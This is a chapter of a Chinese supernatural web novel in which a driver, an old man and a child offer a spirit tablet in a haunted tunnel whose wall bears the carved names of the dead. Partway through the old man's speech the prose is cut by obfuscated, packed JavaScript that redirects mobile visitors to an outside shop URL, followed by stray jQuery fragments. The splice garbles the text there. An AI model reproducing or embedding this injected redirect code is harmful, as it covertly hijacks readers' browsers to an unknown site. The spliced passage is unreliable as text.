隧道里比昨天更黑。
车灯开着近光，照亮前方守隧道人的背影。他步伐平缓，左手边的马灯轻轻摇晃，那条蛇形的阴影，在地面缓缓游走。
姜迟压低车速跟在后方，保持十来米的距离，不疾不徐。
“大爷。”她低声叮嘱，“待会儿不管他提出什么要求，您都先不要应声。”
“我心里有数。”老周坐在副驾，手中紧攥着酒壶，目光始终锁定前方摇曳的马灯，“这座隧道，我整整十九年没踏进来了。当年起火翻车的位置，就在前头不远处。”
隧道两侧的水泥墙面布满烟火灼烧的痕迹。车辆不断深入，墙面的色泽愈发暗沉，浅浅水痕层层叠加，尽数化作厚重烟渍，最后蔓延成整片漆黑的灼烧印记。路面散落着细碎玻璃碎片，零零星星铺在地上，在车灯的映照下泛着细碎微光。
车辆行驶约莫三公里，前方墙面出现一处向内凹陷的空间。
三号避车洞。
守隧道的人伫立在洞口，抬手举高马灯，静静等候。
姜迟倒车驶入避车洞，停稳车身，熄灭引擎。她环视四周，这片空间比预想中宽敞，足以容纳两三辆汽车。洞壁凿有数个方形孔洞，是早年遗留的置物凹槽。洞窟正中央，砖块垒起一方石台，台面空空荡荡，覆着一层薄薄灰尘。
石台前方，整齐摆放着十几个粗瓷碗。
碗具排列有序，每个碗中都盛着食物。姜迟走近细看，碗里是风干许久的陈年米饭，早已结块硬化，饭上插着三枝歪斜的香烛。
“这些碗筷，是你摆放的？”姜迟开口询问。
“都是过往路人留下的。”守隧道的人应声，“这些年途经隧道的司机，走到这里都会驻足供奉一碗饭。所有人都清楚，这片隧道吞噬过无数性命，逝去的亡魂数不胜数。”
“这里一共殒命多少人？”
守隧道的人抬手，将马灯挂在石台的铁钉上，灯光瞬间照亮半面洞壁。
姜迟顺着灯光望去，呼吸骤然一滞。
整片墙面密密麻麻刻满人名。深浅不一的刻痕交错纵横，新旧痕迹层层叠叠，布满整面墙壁。她凑近辨认，各式姓氏的人名清晰可辨。
“墙上每一个名字，都对应一位殒命隧道的司机。”守隧道的人缓缓开口，“早年的意外多为车辆翻车，隧道封禁之后，依旧有车辆误入此地。有人迷路闯入，有人专程进来交涉。顺利达成和解的人，能够平安离开。交涉破裂的人。”
他抬手轻拍冰冷墙面。
“尽数留名于此。”
老周拄着拐杖缓步走到墙边，指尖一寸寸抚过深浅交错的刻痕。指尖触碰到墙面中段时，动作骤然定格。
姜迟上前细看。
那一处刻痕，比周遭所有名字都更深更重，笔画缝隙里积满漆黑烟灰。
【姜国栋】
这是她父亲的名字。
“你父亲的名字，是这片墙壁第一个刻下的名号。”守隧道的人说，“大火熄灭的次日，我亲手镌刻而成。自此之后，墙面便会自行浮现新的人名。早年一年只会新增一两个，如今每月都会多出三四个。”
他转过身，望向姜迟。
“你可知其中缘由？”
“缘由是什么？”
“墙壁背后的东西，始终处于饥饿的状态。”守隧道的人说，“它最初只会吞噬误入迷途的路人。你父亲的到来，让它知晓，交涉失败的人，同样可以成为猎物。”
洞窟内的温度骤然降低，寒意裹挟周身。
孩子不知何时走下车辆，站在姜迟身后，小手紧紧攥着她的衣角。
“迟迟。”孩子脸色发白，声音细碎，“墙壁里面有声音。”
“什么声音？”
“很多人在哭。”
守隧道的人侧头看了孩子一眼，神色微微变化。
“这孩子能听见亡魂声响。”他低声道，“整整十九年，除我之外，只有她能洞悉墙内动静。”
他从石台拿起一只空碗，端正摆放在台面正中，随即从怀中掏出一把糙米，抓出一把撒入碗中。
“上货吧。”他说，“将灵位摆放妥当，让心怀执念的人哭悼一场。仪式结束，我完成签收，你们便可安然离开。”
“签收？”姜迟眼神锐利，“你有对应的收货凭证吗？”
“何种凭证？”
“正规收货凭据。”姜迟语气坚定，“面单，封条，收货印章，三者至少出示其一。我从业路途物流至今，从未见过仅凭口头言语完成签收的交易。”
守隧道的人低低笑出声。
“姜师傅。”他说，“这片隧道有着专属规则，和外界截然不同。外界交易依托凭证，此地交易依托香火供奉。你看这满墙碗筷，从来不需要任何纸面凭证。前来供奉的路人，只求换得一路安生。我代为收纳货品，超度墙内亡魂，压制滞留怨念，这便是此地唯一的凭证。”
“你提及超度。”老周忽然开口，嗓音沙哑干涩，“我问你，我妻子的名字，是否在这面墙上？”
守隧道的人静静看着他。
“她名周氏。”老周一字一顿，吐出全名，“周秀莲。她殒命何处，是否葬身此地？”
洞窟陷入短暂的死寂。
“不在墙上。”守隧道的人缓缓作答，“她的名号未曾刻留此处。她的灵位可以进入隧道，自身魂魄却被阻隔在外。她殒命于隧道之外，葬身渡口，她的因果纠葛，不归此地管辖。”
“谁来接管她的因果？”
“整条路途。”守隧道的人说，“你妻子当年因货品损毁赔上性命，货损的因果尽数被路途收纳。路途收纳的因果，我无从追查。”
老周的指尖微微颤抖。
十九年的执念与寻觅，耗尽半生牵挂，最终只换来一句无从追查。
“大爷。”姜迟伸手扶住他。
老周轻轻挣开她的手，挺直脊背稳住身形。
“好。”他沉声开口，“那我来哭悼。仪式结束，你收纳灵位，了结所有未尽事宜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17960055|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”
他走到石台前，从姜迟手中接过黑漆木盒，端正摆放在石台正中。随后后退一步，静静凝视木盒，眼底瞬间泛红。
“秀莲啊。”
他没有放声痛哭，没有捶胸顿足，压抑的哭声从喉咙深处缓缓溢出，低沉细碎，回荡在空旷的洞窟里。
“是我，老周。十九年了，我终究来迟了。”
“你一心想要回归渡口，我能力不足，没能送你归途。你定然等得焦灼难熬。”
“这十九年，我日日期盼，盼自己攒够能力，亲自上路送你一程。毕生本事未曾攒下，岁月却徒增许多。你切莫嫌弃我年岁苍老。”
“如果你尚能听见，便给我一丝回应。让我知晓，你能接纳我这份迟来的亏欠。”
低沉的哭声在隧道中层层回荡。
姜迟侧过头，不忍直视眼前场景。
孩子紧紧拽着她的衣角，仰着小脸，眉眼间带着和她相似的轮廓，泪珠源源不断滚落。
“姐姐也会难过。”孩子轻声呢喃。
哭声萦绕之际，静置的木盒忽然传出轻响。
咔。
盒盖自行弹开一道缝隙。
姜迟立刻转头望去。
黑漆盒盖缓缓敞开，内里的灵位彻底显露。幽暗灯光下，木质牌位正中的字迹清晰工整。
【先妣周母秀莲之位】
牌位下缘依旧留存着当年灼烧的黑痕，牌位主体却洁净无瑕，不染一丝尘埃。
灵位缓缓直立起来。
无人触碰扶持，它稳稳伫立在石台正中央。木质牌位表面，渐渐渗出细碎水光，如同无形的魂魄，在木头深处默默垂泪。
守隧道的人紧盯灵位，喉结微微滚动。
“成了。”他低声道，“它认下了这份念想。”
“按照此地规矩。”老周收敛哭声，抬手擦干脸颊泪痕，“可以签收了。”
守隧道的人伸出手，指尖朝着灵位探去。
指尖即将触碰到牌位的瞬间，厚重的洞壁骤然传出一声巨响。
轰隆。
整面刻满人名的墙壁剧烈震颤，灰尘簌簌坠落。墙面所有刻痕次第亮起，暗沉纹路化作暗红微光，如同烧红的铁线镶嵌在水泥之中。
无数哭声从墙壁深处汹涌涌出。
哭声层层叠加，男女老少的悲戚声响交织缠绕，填满整座洞窟。
“发生了什么？！”姜迟高声问道。
守隧道的人神色骤变，急速缩回手掌，接连后退两步，眼神震颤，声音发颤。
“它们饿极了。”他说，“被困十九年，今日感知到生者的悲恸与执念，彻底被唤醒。”
墙面的红光愈发炽盛，刻痕缝隙的烟灰尽数剥落，露出墙面底层全新的镌刻痕迹。
看清那行字迹的瞬间，姜迟浑身冰凉，寒意彻骨。
满墙旧名之下，一行崭新大字深深刻入墙体，笔画凌厉深刻，红光亮得刺眼。
【今收周氏姜氏，抵十九年之饥】